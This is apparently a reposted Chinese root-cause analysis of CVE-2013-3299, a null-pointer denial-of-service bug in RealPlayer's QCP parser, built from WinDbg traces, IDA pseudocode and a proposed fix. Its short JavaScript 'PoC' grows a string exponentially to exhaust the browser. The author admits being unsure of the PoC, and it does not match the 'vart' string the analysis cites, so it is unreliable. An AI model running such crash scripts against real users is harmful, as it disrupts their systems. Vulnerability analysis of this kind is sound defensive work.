Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

[CVE-2013-3299]RealPlayer拒绝服务漏洞

0
0

作者:k0shl 转载请注明出处:https://whereisk0shl.top

漏洞说明

RealPlayer是一款著名的播放器,QCP是一款手机播放的格式文件,在RealPlayer处理经过特殊构造的QCP文件时,在QCP文件中,可以构造特殊的长度,从而引发某处长度检查无效,从而引发后续的一个空指针引用引发拒绝服务漏洞,下面对此漏洞进行详细分析。

软件下载:

请读者自行查找RealPlayer 16.0之前的版本下载

PoC:

要说明的是这个漏洞是我很早之前调的,不太确定是不是这个PoC,请先使用这个PoC尝试,若有问题欢迎给我发邮件交流。 <html> <head> <script language="javascript"> { var buffer = '\x41' for(i=0; i <= 100 ; ++i) { buffer+=buffer+buffer document.write(buffer); } } </script> </head> </html> 漏洞复现

首先打开RealPlayer,附加Windbg,加载PoC,RealPlayer崩溃,Windbg捕获到崩溃位置。

(1430.1f64): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000002 ebx=00000000 ecx=03f18898 edx=00000000 esi=00000000 edi=03ebeffc eip=697513dc esp=002ae53c ebp=002ae53c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Real\RealPlayer\plugins\qcpfformat.dll - qcpfformat+0x13dc: 697513dc 0fb64203 movzx eax,byte ptr [edx+3] ds:0023:00000003=??

edx寄存器应该保存的是一处指针,edx+3位置会调用这个指针,由于此时edx值为0,所以可能是由于空指针引用引发的拒绝服务漏洞。看下kb堆栈回溯

0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0019e6d0 6ce51e92 00000000 00000000 0366b9c0 qcpfformat+0x13dc 0019e720 6ce53342 03a228dc 80004005 00000000 qcpfformat+0x1e92 0019e754 6ce52d37 07c4c888 74617276 6ce518a9 qcpfformat!RMACreateInstance+0xc62 0019e784 6ce530cb 03a228dc 00000000 74617276 qcpfformat!RMACreateInstance+0x657 0019e7a4 6cd820f0 028c1040 00000000 00000008 qcpfformat!RMACreateInstance+0x9eb 0019e7c4 6cd81da6 00000008 0019e7ec 00000005 smplfsys+0x20f0 0019e7f0 6cd83582 0019e810 00000000 00000000 smplfsys+0x1da6 0019e808 6ce5349f 00000000 00000008 00000000 smplfsys+0x3582 0019e830 6cd83cd9 0019e84c 0366b9c4 0366b9c4 qcpfformat!RMACreateInstance+0xdbf 0019e844 6ce53597 00000000 00000000 00000000 smplfsys+0x3cd9

这个RealPlayer函数调用相对复杂,这里我省去我回溯跟踪的过程,直接来看一下整个漏洞触发的原因。

漏洞分析

首先,问题有两个关键的dll,一个是qcpfformat.dll,另一个是smplfsys.dll,在最内层的函数调用中,我发现会两次命中断点,而第一次则会正常执行,来看一下正常执行的情况。

0:000> p eax=7776a427 ebx=03529f9c ecx=00000000 edx=03529f9c esi=00000000 edi=084022dc eip=6d8c1de5 esp=0022e998 ebp=0022e9dc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 qcpfformat+0x1de5: 6d8c1de5 85db test ebx,ebx 0:000> p eax=7776a427 ebx=03529f9c ecx=00000000 edx=03529f9c esi=00000000 edi=084022dc eip=6d8c1de7 esp=0022e998 ebp=0022e9dc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 qcpfformat+0x1de7: 6d8c1de7 7414 je qcpfformat+0x1dfd (6d8c1dfd) [br=0] 0:000> p eax=7776a427 ebx=03529f9c ecx=00000000 edx=03529f9c esi=00000000 edi=084022dc eip=6d8c1de9 esp=0022e998 ebp=0022e9dc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 qcpfformat+0x1de9: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Real\RealPlayer\plugins\smplfsys.dll - 6d8c1de9 8b03 mov eax,dword ptr [ebx] ds:0023:03529f9c=6d8afbc8

第一次执行的时候会到达一处if语句,这里第一次判断会通过,但是到了第二次。

0:000> p eax=7776a48f ebx=00000000 ecx=80004005 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c1de1 esp=0022e930 ebp=0022e974 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 qcpfformat+0x1de1: 6d8c1de1 85c9 test ecx,ecx 0:000> p eax=7776a48f ebx=00000000 ecx=80004005 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c1de3 esp=0022e930 ebp=0022e974 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 qcpfformat+0x1de3: 6d8c1de3 7518 jne qcpfformat+0x1dfd (6d8c1dfd) [br=1] 0:000> p eax=7776a48f ebx=00000000 ecx=80004005 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c1dfd esp=0022e930 ebp=0022e974 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 qcpfformat+0x1dfd: 6d8c1dfd 8b8784000000 mov eax,dword ptr [edi+84h] ds:0023:08402360=00000009

可以看到判断不通过进入了另一处跳转,而第二次就是有问题的那次,对比一下两次跳转,主要判断的是ecx,第一次ecx寄存器值为0,第二次为80004005,这个值看了肯定比较熟悉。

0x800040005是一个报错值,很多地方都会调用到这个值,那么问题就是出在这里,重头看起。

外层会有很多层虚函数调用,首先来看一下

int __thiscall sub_60CB2D20(int this, int a2) { int v2; // eax@1 v2 = *(_DWORD *)(this + 28); *(_DWORD *)(this + 888) = 10; return (*(int (__stdcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, a2); }

这里虚函数会调用到smplfsys.dll中的一个函数,在那个函数中,会读到PoC中最结尾的部分,来看一下。

0:000> p eax=08ce0710 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=0382c8b4 eip=6ce434a4 esp=0013e708 ebp=0013e70c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 smplfsys+0x34a4: 6ce434a4 8b7d0c mov edi,dword ptr [ebp+0Ch] ss:0023:0013e718=74617276 0:000> p eax=08ce0710 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=74617276 eip=6ce434a7 esp=0013e708 ebp=0013e70c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 smplfsys+0x34a7: 6ce434a7 81ffffff0f00 cmp edi,0FFFFFh

这个地方会读取74617276,也就是vart,PoC结尾的字符串,随后会将这个字符串和0FFFFFF进行比较,当比较不通过的时候,会进入错误处理,同时会赋值80004005。

.text:60CB34A7 cmp edi, 0FFFFFh .text:60CB34AD jbe short loc_60CB34E0 .text:60CB34AF mov eax, [ebp+arg_0] .text:60CB34B2 push 0 .text:60CB34B4 push 80004005h .text:60CB34B9 mov dword ptr [eax+90h], 0 .text:60CB34C3 mov dword ptr [eax+94h], 0 .text:60CB34CD mov eax, [eax+5Ch] .text:60CB34D0 push eax .text:60CB34D1 mov ecx, [eax] .text:60CB34D3 call dword ptr [ecx+14h] .text:60CB34D6 mov eax, 80070057h

push 80004005这个操作就是后续的错误处理操作,随后会调用一个虚函数。

0:000> p eax=08d51a60 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=74617276 eip=6ce434d0 esp=0013e700 ebp=0013e70c iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 smplfsys+0x34d0: 6ce434d0 50 push eax 0:000> p eax=08d51a60 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=74617276 eip=6ce434d1 esp=0013e6fc ebp=0013e70c iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 smplfsys+0x34d1: 6ce434d1 8b08 mov ecx,dword ptr [eax] ds:0023:08d51a60=6d8b5944 0:000> p eax=08d51a60 ebx=0013e7a4 ecx=6d8b5944 edx=6d8b5394 esi=038cc49c edi=74617276 eip=6ce434d3 esp=0013e6fc ebp=0013e70c iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 smplfsys+0x34d3: 6ce434d3 ff5114 call dword ptr [ecx+14h] ds:0023:6d8b5958=6d8b2d40 0:000> dd esp 0013e6fc 08d51a60 80004005 00000000 0382c8b4

虚函数会调用qcpfformat中的函数,进入这个函数继续跟踪,连续跟踪中会发现,在每次函数调用都会将刚才这个80004005作为第二个参数,也是错误参数直接传递。

0:000> g Breakpoint 0 hit eax=03a228dc ebx=0019e7ec ecx=6ce55394 edx=6ce55394 esi=0366b9c0 edi=00000000 eip=6ce5333f esp=0019e728 ebp=0019e754 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 qcpfformat!RMACreateInstance+0xc5f: 6ce5333f ff5114 call dword ptr [ecx+14h] ds:0023:6ce553a8=6ce51dc0 0:000> dd esp 0019e728 03a228dc 80004005 00000000 0019e7ec 0019e738 74617276 03a228dc 6cd834d6 0366b9c0 0019e748 80004005 00000000 07c64dbc 0019e784 0019e758 6ce52d37 07c4c888 74617276 6ce518a9 0019e768 74617276 07c64dbc 0366b9c0 0019e7ec 0019e778 00000000 00000000 00000000 028c1040 0019e788 6ce530cb 03a228dc 00000000 74617276

来看一下IDA pro的伪代码

0:000> g Breakpoint 0 hit eax=03a228dc ebx=0019e7ec ecx=6ce55394 edx=6ce55394 esi=0366b9c0 edi=00000000 eip=6ce5333f esp=0019e728 ebp=0019e754 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 qcpfformat!RMACreateInstance+0xc5f: 6ce5333f ff5114 call dword ptr [ecx+14h] ds:0023:6ce553a8=6ce51dc0 0:000> dd esp 0019e728 03a228dc 80004005 00000000 0019e7ec 0019e738 74617276 03a228dc 6cd834d6 0366b9c0 0019e748 80004005 00000000 07c64dbc 0019e784 0019e758 6ce52d37 07c4c888 74617276 6ce518a9 0019e768 74617276 07c64dbc 0366b9c0 0019e7ec 0019e778 00000000 00000000 00000000 028c1040 0019e788 6ce530cb 03a228dc 00000000 74617276

连续传递后会到达最接近漏洞崩溃函数的函数位置,里面有一处switch语句

v3 = a2; v4 = 0; v77 = 0; if ( !a2 && a3 ) { (*(void (__stdcall **)(int, int *, char *))(*(_DWORD *)a3 + 12))(a3, (int *)&v77, &v73); v4 = v77; v3 = 0; } switch ( *(_DWORD *)(a1 + 132) ) { case 3: v5 = *(_DWORD *)(a1 + 32); *(_DWORD *)(a1 + 132) = 6; sub_60CB2A80(1718449184, 0); return 0; case 7: *(_DWORD *)(a1 + 44) = a3; if ( a3 ) (*(void (__stdcall **)(int))(*(_DWORD *)a3 + 4))(a3); v7 = *(_DWORD *)(a1 + 32); *(_DWORD *)(a1 + 132) = 8; sub_60CB2A80(1987207540, 0); return 0; case 9: v8 = (int)v77; v9 = *(_DWORD *)(a1 + 32); v10 = sub_60CB13D0(v77);

注意一下case9的情况,会调用漏洞函数,传参是v77,向开头看可以看到v77会在开始赋值为0,随后会进行一处if语句判断,这个if语句中会先调用a2,而这个if语句就是在漏洞分析最开始的时候提到的那个if跳转。

所以当这个a2,也就是错误代码产生的时候,if判断不通过,那么v77就一直是0,就是这里没有else语句,所以造成了这个问题。

0:000> g Breakpoint 2 hit eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c1e8c esp=0022e930 ebp=0022e974 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 qcpfformat+0x1e8c: 6d8c1e8c 53 push ebx 0:000> p eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c1e8d esp=0022e92c ebp=0022e974 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 qcpfformat+0x1e8d: 6d8c1e8d e83ef5ffff call qcpfformat+0x13d0 (6d8c13d0)

ebx就是v77,这时候由于if不通过,所以还是0值,直接传入了13d0函数位置,进入之后。

0:000> t Breakpoint 1 hit eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c13d0 esp=0022e928 ebp=0022e974 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 qcpfformat+0x13d0: 6d8c13d0 55 push ebp 0:000> p eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c13d1 esp=0022e924 ebp=0022e974 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 qcpfformat+0x13d1: 6d8c13d1 8bec mov ebp,esp 0:000> p eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c13d3 esp=0022e924 ebp=0022e924 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 qcpfformat+0x13d3: 6d8c13d3 83794000 cmp dword ptr [ecx+40h],0 ds:0023:03989428=00000001 0:000> p eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc eip=6d8c13d7 esp=0022e924 ebp=0022e924 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 qcpfformat+0x13d7: 6d8c13d7 8b5508 mov edx,dword ptr [ebp+8] ss:0023:0022e92c=00000000 0:000> p eax=00000002 ebx=00000000 ecx=039893e8 edx=00000000 esi=00000000 edi=084022dc eip=6d8c13da esp=0022e924 ebp=0022e924 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 qcpfformat+0x13da: 6d8c13da 7422 je qcpfformat+0x13fe (6d8c13fe) [br=0] 0:000> p eax=00000002 ebx=00000000 ecx=039893e8 edx=00000000 esi=00000000 edi=084022dc eip=6d8c13dc esp=0022e924 ebp=0022e924 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 qcpfformat+0x13dc: 6d8c13dc 0fb64203 movzx eax,byte ptr [edx+3] ds:0023:00000003=??

最后edx是由第一个参数,也就是刚才入栈的ebx得到,所以造成了空指针引用,引发拒绝服务漏洞,因此修复中,只需要在if不通过的时候,加一个else处理就可以避免这个空指针引用的漏洞发生。


Viewing all articles
Browse latest Browse all 12749